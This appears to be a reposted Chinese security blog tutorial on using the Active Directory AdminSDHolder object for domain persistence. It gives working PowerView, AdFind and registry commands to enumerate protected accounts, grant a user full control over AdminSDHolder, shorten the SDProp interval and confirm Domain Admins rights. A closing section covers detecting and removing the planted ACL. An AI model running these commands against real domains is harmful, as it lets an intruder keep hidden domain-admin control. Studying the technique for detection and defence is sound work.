域渗透——AdminSDHolder

发布于 2024-11-05 12:29:00 字数 7743 浏览 6 评论 0

0x00 前言

AdminSDHolder 是一个特殊的 AD 容器,具有一些默认安全权限,用作受保护的 AD 账户和组的模板

Active Directory 将采用 AdminSDHolder 对象的 ACL 并定期将其应用于所有受保护的 AD 账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的

如果能够修改 AdminSDHolder 对象的 ACL,那么修改的权限将自动应用于所有受保护的 AD 账户和组,这可以作为一个域环境权限维持的方法

本将要参考公开资料,结合自己的理解,介绍利用方法,补全清除 ACL 的方法,分析检测方法

0x01 简介

本文将要介绍以下内容:

  • 利用思路
  • 如何枚举受保护的 AD 账户和组中的信息
  • 如何查询 AdminSDHolder 对象的 ACL
  • 如何向 AdminSDHolder 对象添加 ACL
  • 删除 AdminSDHolder 中指定用户的 ACL
  • 完整利用方法
  • 检测建议

0x02 利用思路

1.枚举受保护的 AD 账户和组中的信息

通常为域内高权限用户,在我的 Server2008R2 下包含以下组:

  • Administrators
  • Print Operators
  • Backup Operators
  • Replicator
  • Domain Controllers
  • Schema Admins
  • Enterprise Admins
  • Domain Admins
  • Server Operators
  • Account Operators
  • Read-only Domain Controllers
  • Organization Management
  • Exchange Trusted Subsystem

2.向 AdminSDHolder 对象添加 ACL

例如,添加用户 testa 对 AdminSDHolder 的完全管理权限,默认 60 分钟以后会自动推送权限配置信息,testa 随即获得对所有受保护帐户和组的完全管理权限

3.获得对整个域的控制权限

此时用户 testa 能够向域管理员组添加帐户,也能够直接访问域控制器上的文件

0x03 枚举受保护的 AD 账户和组中的信息

关于 AdminSDHolder,可以参考的资料:https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)

受保护的 AD 账户和组的特征如下:

AdminCount 属性为 1

但是,如果对象已移出受保护组,其 AdminCount 属性仍为 1,也就是说,有可能获得曾经是受保护组的帐户和组

1.枚举受保护 AD 账户的方法

(1)PowerView

下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

命令如下:

Get-NetUser -AdminCount

只筛选出用户名的命令如下:

Get-NetUser -AdminCount |select samaccountname

(2)Adfind

下载地址:http://www.joeware.net/freetools/tools/adfind/index.htm

命令如下:

Adfind.exe -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

(3)ActiveDirectory 模块

Powershell 模块,需要安装,域控制器一般会安装

命令如下:

Import-Module ActiveDirectory
Get-ADObject -LDAPFilter “(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))” |select name

对于未安装 Active Directory 模块的系统,可以通过如下命令导入 Active Directory 模块:

import-module .\Microsoft.ActiveDirectory.Management.dll

Microsoft.ActiveDirectory.Management.dll 在安装 powershell 模块 Active Directory 后生成,我已经提取出来并上传至 github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

注:该命令会列出受保护的 AD 账户和组

2.枚举受保护 AD 组的方法

(1)PowerView

命令如下:

Get-NetGroup -AdminCount

(2)Adfind

命令如下:

Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn

(3)ActiveDirectory 模块

Powershell 模块,需要安装,域控制器一般会安装

命令如下:

Import-Module ActiveDirectory
Get-ADObject -LDAPFilter “(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))” |select name

注:

该命令会列出受保护的 AD 账户和组

0x04 操作 AdminSDHolder 对象的 ACL

1.查询 AdminSDHolder 对象的 ACL

使用 PowerView,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

注:该版本不支持 Remove-DomainObjectAcl 命令

查询 AdminSDHolder 对象的 ACL 等价于查询"CN=AdminSDHolder,CN=System,DC=test,DC=com"的 ACL

命令如下:

Import-Module .\PowerView.ps1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference

2.向 AdminSDHolder 对象添加 ACL

使用 PowerView,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

添加用户 testa 的完全访问权限,命令如下:

Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName testa -Verbose -Rights All

默认等待 60 分钟以后,testa 获得对所有受保护的 AD 账户和组的完全访问权限

3.删除 AdminSDHolder 中指定用户的 ACL

使用 PowerView,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

注:该版本支持 Remove-DomainObjectAcl 命令,但不支持参数 TargetADSprefix,所以这里使用 TargetSearchBase 参数代替

搜索条件为 "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com"

删除用户 testa 的完全访问权限,命令如下:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity testa -Rights All -Verbose

0x05 完整利用思路

1.枚举受保护的 AD 账户和组中的信息

查找有价值的用户,需要确认该用户是否属于受保护的 AD 账户和组,排除曾经属于受保护的 AD 账户和组

2.向 AdminSDHolder 对象添加 ACL

例如添加用户 testa 对 AdminSDHolder 的完全访问权限

默认等待 60 分钟以后,testa 获得对所有受保护的 AD 账户和组的完全访问权限

可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD

例如修改成等待 600 秒的命令如下:

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

参考资料:https://blogs.technet.microsoft.com/askds/2009/05/07/five-common-questions-about-adminsdholder-and-sdprop/

注:不建议降低默认间隔时间,因为在大型环境中可能会导致 LSASS 性能下降

3.获得对整个域的控制权限

(1) 用户 testa 能够向域管理员组添加帐户

验证权限的命令如下:

Import-Module .\PowerView.ps1
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'testa'}

(2) 用户 testa 能够直接访问域控制器上的文件

0x06 检测和清除

1.检测 AdminSDHolder 的 ACL

查看 "CN=AdminSDHolder,CN=System,DC=test,DC=com" 的 ACL,命令如下:

Import-Module .\PowerView.ps1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference

注:这里使用的 PowerView 版本:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查看是否有可疑用户

2.清除 AdminSDHolder 中可疑用户的 ACL

删除 AdminSDHolder 中可疑用户 testa 的 ACL

使用 PowerView,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

删除用户 testa 的完全访问权限,命令如下:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity testa -Rights All -Verbose

0x07 小结

本文介绍了 AdminSDHolder 作为权限维持的利用方法,补充了检测和清除 AdminSDHolder 中可疑用户 ACL 的方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

云柯

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

ambitionlv

文章 0 评论 0

澉约

文章 0 评论 0

hukaixi

文章 0 评论 0

自演自醉

文章 0 评论 0

詹宝成

文章 0 评论 0

alipaysp_PLnULTzf66

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文